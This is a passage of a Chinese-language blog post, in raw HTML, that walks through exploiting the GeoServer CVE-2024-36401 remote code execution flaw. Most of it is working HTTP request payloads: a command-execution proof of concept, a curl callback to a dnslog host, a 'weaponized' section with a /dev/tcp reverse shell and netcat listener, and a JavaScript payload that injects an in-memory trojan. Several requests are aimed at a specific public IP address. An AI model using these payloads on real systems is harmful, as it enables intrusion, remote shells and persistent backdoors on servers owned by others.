&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="1723450389978" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723450389978.png"&gt;&lt;/p&gt;
&lt;p&gt;进入容器查看，可以看到成功创建文件。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; -it cve-2024-36401_web_1 /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ls /tmp
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="基于post方法的poc"&gt;基于POST方法的POC
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;POST /geoserver/wfs HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host: your-ip:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language: en-US&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;User-Agent: Mozilla/5.0 &lt;span class="o"&gt;(&lt;/span&gt;Windows NT 10.0&lt;span class="p"&gt;;&lt;/span&gt; Win64&lt;span class="p"&gt;;&lt;/span&gt; x64&lt;span class="o"&gt;)&lt;/span&gt; AppleWebKit/537.36 &lt;span class="o"&gt;(&lt;/span&gt;KHTML, like Gecko&lt;span class="o"&gt;)&lt;/span&gt; Chrome/124.0.6367.118 Safari/537.36
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control: max-age&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: application/xml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: &lt;span class="m"&gt;356&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;wfs:GetPropertyValue &lt;span class="nv"&gt;service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;WFS&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; xmlns:topp&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.openplans.org/topp&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; xmlns:fes&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/fes/2.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; xmlns:wfs&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/wfs/2.0&amp;#39;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:Query &lt;span class="nv"&gt;typeNames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sf:archsites&amp;#39;&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:valueReference&amp;gt;exec&lt;span class="o"&gt;(&lt;/span&gt;java.lang.Runtime.getRuntime&lt;span class="o"&gt;()&lt;/span&gt;,&lt;span class="s1"&gt;&amp;#39;touch /tmp/success2&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;/wfs:valueReference&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;/wfs:GetPropertyValue&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="1723450793264" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723450793264.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723450809382" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723450809382.png"&gt;&lt;/p&gt;
&lt;p&gt;只有 &lt;code&gt;ows:ExceptionReport java.lang.ClassCastException:&lt;/code&gt; 的报错是成功执行的。&lt;/p&gt;
&lt;p&gt;值得注意的是，typeNames必须存在，我们可以在Web页面中找到当前服务器中的所有Types&lt;/p&gt;
&lt;h3 id="dns-反弹测试"&gt;DNS 反弹测试
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;POST /geoserver/wfs HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host:47.251.97.142:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding:gzip,deflate,br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Accept:*/*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language:en-US&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;User-Agent:Mozilla/5.0&lt;span class="o"&gt;(&lt;/span&gt;WindowsNT10.0&lt;span class="p"&gt;;&lt;/span&gt;Win64&lt;span class="p"&gt;;&lt;/span&gt;x64&lt;span class="o"&gt;)&lt;/span&gt;AppleWebKit/537.36&lt;span class="o"&gt;(&lt;/span&gt;KHTML,likeGecko&lt;span class="o"&gt;)&lt;/span&gt;Chrome/124.0.6367.118Safari/537.36
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Connection:close
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control:max-age&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Content-Type:application/xml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: &lt;span class="m"&gt;358&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;wfs:GetPropertyValue &lt;span class="nv"&gt;service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;WFS&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; xmlns:topp&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.openplans.org/topp&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; xmlns:fes&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/fes/2.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; xmlns:wfs&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/wfs/2.0&amp;#39;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:Query &lt;span class="nv"&gt;typeNames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sf:archsites&amp;#39;&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:valueReference&amp;gt;exec&lt;span class="o"&gt;(&lt;/span&gt;java.lang.Runtime.getRuntime&lt;span class="o"&gt;()&lt;/span&gt;,&lt;span class="s1"&gt;&amp;#39;curl 5s1mc4.dnslog.cn&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;/wfs:valueReference&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;/wfs:GetPropertyValue&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="1723530166465" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723530166465.png"&gt;&lt;/p&gt;
&lt;h2 id="武器化利用"&gt;武器化利用
&lt;/h2&gt;&lt;h3 id="反弹shell"&gt;反弹Shell
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://www.ddosi.org/shell/" target="_blank" rel="noopener"
 &gt;反弹shell在线生成器&lt;/a&gt; 在线生成一句话反弹命令&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;sh -i &amp;gt;&amp;amp; /dev/tcp/攻击机ip/攻击机端口 0&amp;gt;&amp;amp;1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;base64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;7777&lt;/span&gt; &lt;span class="c1"&gt;# 攻击机开启监听端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;POST /geoserver/wfs HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host:47.251.97.142:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding:gzip,deflate,br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Accept:*/*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language:en-US&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;User-Agent:Mozilla/5.0&lt;span class="o"&gt;(&lt;/span&gt;WindowsNT10.0&lt;span class="p"&gt;;&lt;/span&gt;Win64&lt;span class="p"&gt;;&lt;/span&gt;x64&lt;span class="o"&gt;)&lt;/span&gt;AppleWebKit/537.36&lt;span class="o"&gt;(&lt;/span&gt;KHTML,likeGecko&lt;span class="o"&gt;)&lt;/span&gt;Chrome/124.0.6367.118Safari/537.36
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Connection:close
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control:max-age&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Content-Type:application/xml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: &lt;span class="m"&gt;432&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;wfs:GetPropertyValue &lt;span class="nv"&gt;service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;WFS&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; xmlns:topp&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.openplans.org/topp&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; xmlns:fes&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/fes/2.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; xmlns:wfs&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/wfs/2.0&amp;#39;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:Query &lt;span class="nv"&gt;typeNames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sf:archsites&amp;#39;&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:valueReference&amp;gt;exec&lt;span class="o"&gt;(&lt;/span&gt;java.lang.Runtime.getRuntime&lt;span class="o"&gt;()&lt;/span&gt;,&lt;span class="s1"&gt;&amp;#39;bash -c {echo,反弹的base64编码}|{base64,-d}|{bash,-i}&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;/wfs:valueReference&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;/wfs:GetPropertyValue&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;注意 &lt;code&gt;Content-Length:357&lt;/code&gt; 中数字的长度要和命令的字节数等于或大于才能执行成功，越大执行越慢。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723518872795" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723518872795.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1723523150475" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723523150475.png"&gt;&lt;/p&gt;
&lt;h3 id="注入内存木马"&gt;注入内存木马
&lt;/h3&gt;&lt;p&gt;&lt;img alt="1723452618835" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/2024070809/1723452618835.png"&gt;&lt;/p&gt;
&lt;p&gt;使用JMG工具生成内存马，注意名写 &lt;code&gt;java.lang.tes&lt;/code&gt;，自定义密码密钥点击生成。把输出复制到下面的POC里 &lt;code&gt;str=&amp;quot;内存马base64&amp;quot;;&lt;/code&gt;的位置。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;POST /geoserver/wfs HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host: 47.251.97.142:8080
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding: gzip,deflate,br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Accept: */*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language:en-US&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.9,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;User-Agent: Mozilla/5.0&lt;span class="o"&gt;(&lt;/span&gt;WindowsNT10.0&lt;span class="p"&gt;;&lt;/span&gt;Win64&lt;span class="p"&gt;;&lt;/span&gt;x64&lt;span class="o"&gt;)&lt;/span&gt;AppleWebKit/537.36&lt;span class="o"&gt;(&lt;/span&gt;KHTML,likeGecko&lt;span class="o"&gt;)&lt;/span&gt;Chrome/124.0.6367.118Safari/537.36
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control: max-age&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: application/xml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: &lt;span class="m"&gt;432&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;wfs:GetPropertyValue &lt;span class="nv"&gt;service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;WFS&amp;#39;&lt;/span&gt; &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; xmlns:topp&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.openplans.org/topp&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; xmlns:fes&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/fes/2.0&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; xmlns:wfs&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://www.opengis.net/wfs/2.0&amp;#39;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:Query &lt;span class="nv"&gt;typeNames&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sf:archsites&amp;#39;&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &amp;lt;wfs:valueReference&amp;gt;eval&lt;span class="o"&gt;(&lt;/span&gt;getEngineByName&lt;span class="o"&gt;(&lt;/span&gt;javax.script.ScriptEngineManager.new&lt;span class="o"&gt;()&lt;/span&gt;,&lt;span class="s1"&gt;&amp;#39;js&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;,&lt;span class="s1"&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;var str=&amp;#34;&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;var bt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;try {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; bt = java.lang.Class.forName(&amp;#34;sun.misc.BASE64Decoder&amp;#34;).newInstance().decodeBuffer(str);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;} catch (e) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; bt = java.util.Base64.getDecoder().decode(str);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;var theUnsafe = java.lang.Class.forName(&amp;#34;sun.misc.Unsafe&amp;#34;).getDeclaredField(&amp;#34;theUnsafe&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;theUnsafe.setAccessible(true);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;unsafe = theUnsafe.get(null);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;unsafe.defineAnonymousClass(java.lang.Class.forName(&amp;#34;java.lang.Class&amp;#34;), bt, null).newInstance();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;/wfs:valueReference&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;/wfs:GetPropertyValue&amp;gt;
